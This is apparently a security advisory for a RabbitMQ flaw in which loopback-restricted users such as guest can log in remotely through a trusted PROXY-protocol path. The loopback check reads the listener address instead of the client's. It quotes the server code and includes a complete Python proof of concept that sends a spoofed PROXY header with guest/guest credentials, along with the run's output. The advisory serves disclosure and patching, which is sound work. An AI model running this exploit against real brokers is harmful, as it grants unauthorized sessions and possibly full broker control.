Описание
AMQP 1.0, AMQP 0-9-1, Stream Protocol loopback enforcement can lead to remote guest sessions due to listener-address loopback checks
Summary
RabbitMQ AMQP 0-9-1 authentication allows a loopback-restricted user to connect remotely when traffic is accepted through a trusted PROXY-protocol path and the backend listener is loopback-bound. The issue occurs because the loopback check is performed on the accepted socket and resolves loopback using the listener-side address (sockname) instead of the real client source. In the validated run, the connection was recorded with non-loopback peer_host from PROXY metadata while the authenticated user was guest and the connection state reached running. This behavior conflicts with documented loopback-user expectations and was classified as not intended in the intended-behavior stage. The executed PoC demonstrates the authentication boundary bypass for loopback-restricted login, which is the specific effect proven here.
Impact
A remote actor who can reach a trusted PROXY-protocol frontend and provide valid loopback-restricted credentials can obtain a live AMQP session as that user, and in deployments where guest keeps default admin privileges this can escalate to full broker control.
Description
The listener handshake path accepts PROXY headers and wraps the socket with proxy metadata.
https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_networking.erl#L581-L593
handshake(Ref, ProxyProtocolEnabled, BufferStrategy) ->
case ProxyProtocolEnabled of
true ->
case ranch:recv_proxy_header(Ref, 3000) of
{error, Error} ->
failed_to_recv_proxy_header(Ref, Error);
{error, protocol_error, Error} ->
failed_to_recv_proxy_header(Ref, Error);
{ok, ProxyInfo} ->
{ok, Sock} = ranch_handshake(Ref),
ok = tune_buffer_size(Sock, BufferStrategy),
{ok, {rabbit_proxy_socket, Sock, ProxyInfo}}
end;
false ->
{ok, Sock} = ranch_handshake(Ref),
ok = tune_buffer_size(Sock, BufferStrategy),
{ok, Sock}
end.
The connection startup path immediately unwraps the socket for later auth checks and stores proxy metadata separately.
https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_reader.erl#L288-L340
start_connection(Parent, HelperSups, RanchRef, Deb, Sock) ->
process_flag(trap_exit, true),
RealSocket = rabbit_net:unwrap_socket(Sock),
Name = case rabbit_net:connection_string(Sock, inbound) of
{ok, Str} -> list_to_binary(Str);
{error, enotconn} -> _ = rabbit_net:fast_close(RealSocket),
exit(normal);
{error, Reason} -> socket_error(Reason),
_ = rabbit_net:fast_close(RealSocket),
exit(normal)
end,
{ok, HandshakeTimeout} = application:get_env(rabbit, handshake_timeout),
InitialFrameMax = application:get_env(rabbit, initial_frame_max, ?FRAME_MIN_SIZE),
erlang:send_after(HandshakeTimeout, self(), handshake_timeout),
{PeerHost, PeerPort, Host, Port} =
socket_op(Sock, fun (S) -> rabbit_net:socket_ends(S, inbound) end),
?store_proc_name(Name),
ConnectedAt = os:system_time(millisecond),
State = #v1{parent = Parent,
ranch_ref = RanchRef,
sock = RealSocket,
connection = #connection{
name = Name,
log_name = Name,
host = Host,
peer_host = PeerHost,
port = Port,
peer_port = PeerPort,
user = none,
timeout_sec = (HandshakeTimeout / 1000),
frame_max = InitialFrameMax,
vhost = none,
client_properties = none,
capabilities = [],
auth_mechanism = none,
auth_state = none,
connected_at = ConnectedAt},
callback = uninitialized_callback,
recv_len = 0,
pending_recv = false,
connection_state = pre_init,
queue_collector = undefined, %% started on tune-ok
helper_sup = HelperSups,
heartbeater = none,
channel_sup_sup_pid = none,
channel_count = 0,
throttle = #throttle{
last_blocked_at = never,
should_block = false,
blocked_by = sets:new([{version, 2}]),
connection_blocked_message_sent = false
},
proxy_socket = rabbit_net:maybe_get_proxy_socket(Sock)},
The authentication phase calls the loopback-user gate with that socket and transitions to tuning on success.
https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_reader.erl#L1507-L1524
{ok, User = #user{username = Username}} ->
case rabbit_access_control:check_user_loopback(Username, Sock) of
ok ->
rabbit_core_metrics:auth_attempt_succeeded(RemoteAddress, Username, amqp091),
notify_auth_result(Username, user_authentication_success,
[], State);
not_allowed ->
rabbit_core_metrics:auth_attempt_failed(RemoteAddress, Username, amqp091),
auth_fail(Username, "user '~ts' can only connect via "
"localhost", [Username], Name, State)
end,
Tune = #'connection.tune'{frame_max = get_env(frame_max),
channel_max = get_env(channel_max),
heartbeat = get_env(heartbeat)},
ok = send_on_channel0(Sock, Tune),
State#v1{connection_state = tuning,
connection = Connection#connection{user = User,
auth_state = none}}
The loopback-user gate allows login when rabbit_net:is_loopback(SockOrAddr) is true.
https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_access_control.erl#L275-L281
check_user_loopback(Username, SockOrAddr) ->
{ok, Users} = application:get_env(rabbit, loopback_users),
case rabbit_net:is_loopback(SockOrAddr)
orelse not lists:member(Username, Users) of
true -> ok;
false -> not_allowed
end.
The socket loopback helper uses sockname(Sock), which evaluates the listener bind address instead of the remote peer.
https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit_common/src/rabbit_net.erl#L278-L288
is_loopback(Sock) when is_port(Sock) ; ?IS_SSL(Sock) ->
case sockname(Sock) of
{ok, {Addr, _Port}} -> is_loopback(Addr);
{error, _} -> false
end;
%% We could parse the results of inet:getifaddrs() instead. But that
%% would be more complex and less maybe Windows-compatible...
is_loopback({127,_,_,_}) -> true;
is_loopback({0,0,0,0,0,0,0,1}) -> true;
is_loopback({0,0,0,0,0,65535,AB,CD}) -> is_loopback(ipv4(AB, CD));
is_loopback(_) -> false.
Proof of Concept (PoC)
The finding was validated against the 83866edcc995602f546f3c4147078b3a610b0075 commit.
- Create
rabbitmq.conf with the exact content below.
listeners.tcp.default = 127.0.0.1:5674
management.tcp.port = 15674
management.tcp.ip = 127.0.0.1
proxy_protocol = true
- Create helper file
amqp_frames.py with the exact content below.
import struct
FRAME_METHOD = 1
FRAME_END = 0xCE
def recvn(sock, n):
buf = b""
while len(buf) < n:
chunk = sock.recv(n - len(buf))
if not chunk:
raise EOFError("socket closed")
buf += chunk
return buf
def read_frame(sock):
header = recvn(sock, 7)
frame_type = header[0]
channel = struct.unpack(">H", header[1:3])[0]
size = struct.unpack(">I", header[3:7])[0]
payload = recvn(sock, size)
frame_end = recvn(sock, 1)[0]
if frame_end != FRAME_END:
raise RuntimeError(f"bad frame end: {frame_end}")
return frame_type, channel, payload
def write_frame(sock, frame_type, channel, payload):
sock.sendall(struct.pack(">BHI", frame_type, channel, len(payload)) + payload + bytes([FRAME_END]))
def enc_shortstr(v):
return struct.pack(">B", len(v)) + v
def enc_longstr(v):
return struct.pack(">I", len(v)) + v
def method_payload(class_id, method_id, args=b""):
return struct.pack(">HH", class_id, method_id) + args
- Create helper file
amqp_proxy_connect.py with the exact content below.
import socket
import struct
import time
from amqp_frames import FRAME_METHOD, read_frame, write_frame, enc_shortstr, enc_longstr, method_payload
HOST = "127.0.0.1"
PORT = 5674
USER = b"guest"
PASS = b"guest"
VHOST = b"/"
SPOOF_SRC_IP = "198.51.100.10"
SPOOF_SRC_PORT = 12345
def main():
sock = socket.create_connection((HOST, PORT), timeout=5)
sock.sendall(f"PROXY TCP4 {SPOOF_SRC_IP} 127.0.0.1 {SPOOF_SRC_PORT} 5674\r\n".encode())
sock.sendall(b"AMQP\x00\x00\x09\x01")
ft, ch, pl = read_frame(sock)
if not (ft == FRAME_METHOD and ch == 0 and pl[:4] == struct.pack(">HH", 10, 10)):
raise SystemExit("unexpected first frame")
response = b"\x00" + USER + b"\x00" + PASS
args = struct.pack(">I", 0) + enc_shortstr(b"PLAIN") + enc_longstr(response) + enc_shortstr(b"en_US")
write_frame(sock, FRAME_METHOD, 0, method_payload(10, 11, args))
while True:
ft, ch, pl = read_frame(sock)
if not (ft == FRAME_METHOD and ch == 0):
continue
c, m = struct.unpack(">HH", pl[:4])
if (c, m) == (10, 30):
channel_max = struct.unpack(">H", pl[4:6])[0]
frame_max = struct.unpack(">I", pl[6:10])[0]
heartbeat = struct.unpack(">H", pl[10:12])[0]
tune_ok = struct.pack(">HIH", channel_max, frame_max, heartbeat)
write_frame(sock, FRAME_METHOD, 0, method_payload(10, 31, tune_ok))
open_args = enc_shortstr(VHOST) + enc_shortstr(b"") + b"\x00"
write_frame(sock, FRAME_METHOD, 0, method_payload(10, 40, open_args))
elif (c, m) == (10, 41):
break
elif (c, m) == (10, 50):
reply_code = struct.unpack(">H", pl[4:6])[0]
raise SystemExit(f"connection.close received reply_code={reply_code}")
write_frame(sock, FRAME_METHOD, 1, method_payload(20, 10, enc_shortstr(b"")))
while True:
ft, ch, pl = read_frame(sock)
if ft == FRAME_METHOD and ch == 1 and pl[:4] == struct.pack(">HH", 20, 11):
break
print(f"POC_OK: authenticated as guest with PROXY source {SPOOF_SRC_IP}", flush=True)
time.sleep(20)
if __name__ == "__main__":
main()
PoC Steps
- Launch RabbitMQ with the provided
rabbitmq.conf so AMQP listens on 127.0.0.1:5674 with proxy_protocol=true.
- Set loopback users on the live node to include
guest: rabbitmqctl eval 'application:set_env(rabbit, loopback_users, [<<"guest">>]).'.
- Verify runtime config values:
rabbitmqctl environment | egrep 'loopback_users|proxy_protocol|tcp_listeners'.
- Run
python3 amqp_proxy_connect.py and keep it alive for 20 seconds as written.
- During that window, run
rabbitmqctl -n rabbit@rmq-proxy-poc list_connections name user peer_host peer_port state.
- Confirm PoC stdout, connection listing, and process exit code.
PoC Results
Observed configuration evidence from the executed run:
=== config evidence ===
{loopback_users,[<<"guest">>]},
{proxy_protocol,true},
{tcp_listeners,[{"127.0.0.1",5674}]},
=== listener evidence ===
LISTEN 0 128 127.0.0.1:5674 0.0.0.0:* users:(("beam.smp",pid=2873357,fd=34))
Observed PoC client stdout:
POC_OK: authenticated as guest with PROXY source 198.51.100.10
Observed broker-side connection state during the same run:
Listing connections ...
name user peer_host peer_port state
198.51.100.10:12345 -> 127.0.0.1:5674 guest 198.51.100.10 12345 running
Observed PoC exit code:
0
This shows a non-loopback source reached an authenticated running AMQP session as loopback-restricted guest under the tested proxy/listener configuration.